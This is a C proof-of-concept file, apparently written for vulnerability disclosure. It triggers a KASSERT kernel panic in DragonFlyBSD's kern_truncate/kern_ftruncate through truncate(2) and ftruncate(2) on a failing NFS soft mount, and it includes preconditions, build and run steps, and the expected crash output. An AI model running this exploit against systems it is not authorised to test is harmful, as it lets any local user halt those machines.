/*
 * DF-0001 PoC - kern_truncate()/kern_ftruncate() KASSERT panic.
 *
 * Triggers a reachable KASSERT (CWE-617) in sys/kern/vfs_syscalls.c when
 * VFS quota accounting is enabled (vfs.quota_enabled=1) AND the kernel was
 * built with 'options INVARIANTS'. On a VFS where VOP_GETATTR can fail after
 * the lookup/lock (NFS soft-mount RPC failure -> EIO, ESTALE on a stale
 * filehandle, or a forced-reclaim vnode), the unconditional
 *
 *   KASSERT(error == 0, ("kern_truncate(): VOP_GETATTR didn't return 0"));
 *
 * at sys/kern/vfs_syscalls.c:4038 (and the ftruncate twin at :4113) fires
 * and panics the kernel. Reachable from any local user with write permission
 * to the target file via truncate(2)/ftruncate(2) -- no privilege required.
 *
 * This variant prints the errno from each call so the harness can tell a
 * clean error return (GETATTR returned 0, KASSERT passed; SETATTR failed)
 * from an actual panic (GETATTR returned nonzero, KASSERT fired, ssh dies).
 *
 * Build (on a DragonFlyBSD host):
 *   cc -o trunc_panic trunc_panic.c
 *
 * Preconditions:
 *   - Kernel built with 'options INVARIANTS' (verified: X86_64_GENERIC has it).
 *   - vfs.quota_enabled=1  (loader tunable; CTLFLAG_RD so requires reboot).
 *   - Target file on a mount whose VOP_GETATTR returns a nonzero error
 *     transiently. Realistic case: NFS soft mount whose RPC times out (e.g.
 *     port 2049 silently dropped so the soft mount returns EIO rather than
 *     ECONNREFUSED-which-the-client-retries), or an NFS server returning
 *     NFSERR_STALE for GETATTR. On local UFS/HAMMER GETATTR effectively never
 *     fails, so this is not reproducible there.
 *
 * Run:
 *   ./trunc_panic /mnt/nfs_target
 *
 * Expected (success == bug present):
 *   Console:  panic: kern_truncate(): VOP_GETATTR didn't return 0
 *   System halts / dumps; ssh dies.
 * On a non-INVARIANTS kernel the KASSERT compiles away and truncate(2) just
 * returns the GETATTR error (no memory-safety impact) -- hence Low severity.
 */

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <err.h>

int
main(int argc, char **argv)
{
	const char *path;
	int fd;
	char buf[1024];

	path = argc > 1 ? argv[1] : "./target";

	/* Stage 1: create/populate the file (needs a live server at this point). */
	fd = open(path, O_RDWR | O_CREAT, 0644);
	if (fd < 0)
		err(1, "open %s", path);
	memset(buf, 'A', sizeof(buf));
	if (write(fd, buf, sizeof(buf)) != (ssize_t)sizeof(buf))
		warn("write (populate)");
	if (fsync(fd) < 0)
		warn("fsync");
	close(fd);
	printf("populated %s; errno-after-populate=%d (%s)\n",
	    path, errno, strerror(errno));
	fflush(stdout);

	/*
	 * <<<< HARNESS KILLS THE NFS SERVER / FIREWALLS PORT 2049 HERE >>>>
	 * The attribute cache is disabled (acregmax=0), so the next GETATTR
	 * issues a fresh RPC that will fail.
	 */
	printf("pausing 3s for server-down to settle; then truncate...\n");
	fflush(stdout);
	sleep(3);

	/* Stage 2: truncate(path) -> kern_truncate -> VOP_GETATTR (fails) -> KASSERT */
	errno = 0;
	if (truncate(path, 0) < 0)
		warn("truncate returned error (GETATTR=0 path; SETATTR failed)");
	else
		printf("truncate returned 0 (ok)\n");
	fflush(stdout);

	/* Stage 3: ftruncate(fd) -> kern_ftruncate -> VOP_GETATTR_FP -> KASSERT */
	fd = open(path, O_RDWR);
	if (fd < 0)
		warn("open for ftruncate");
	else {
		errno = 0;
		if (ftruncate(fd, 0) < 0)
			warn("ftruncate returned error (GETATTR=0 path; SETATTR failed)");
		else
			printf("ftruncate returned 0 (ok)\n");
		close(fd);
	}
	fflush(stdout);

	return 0;
}
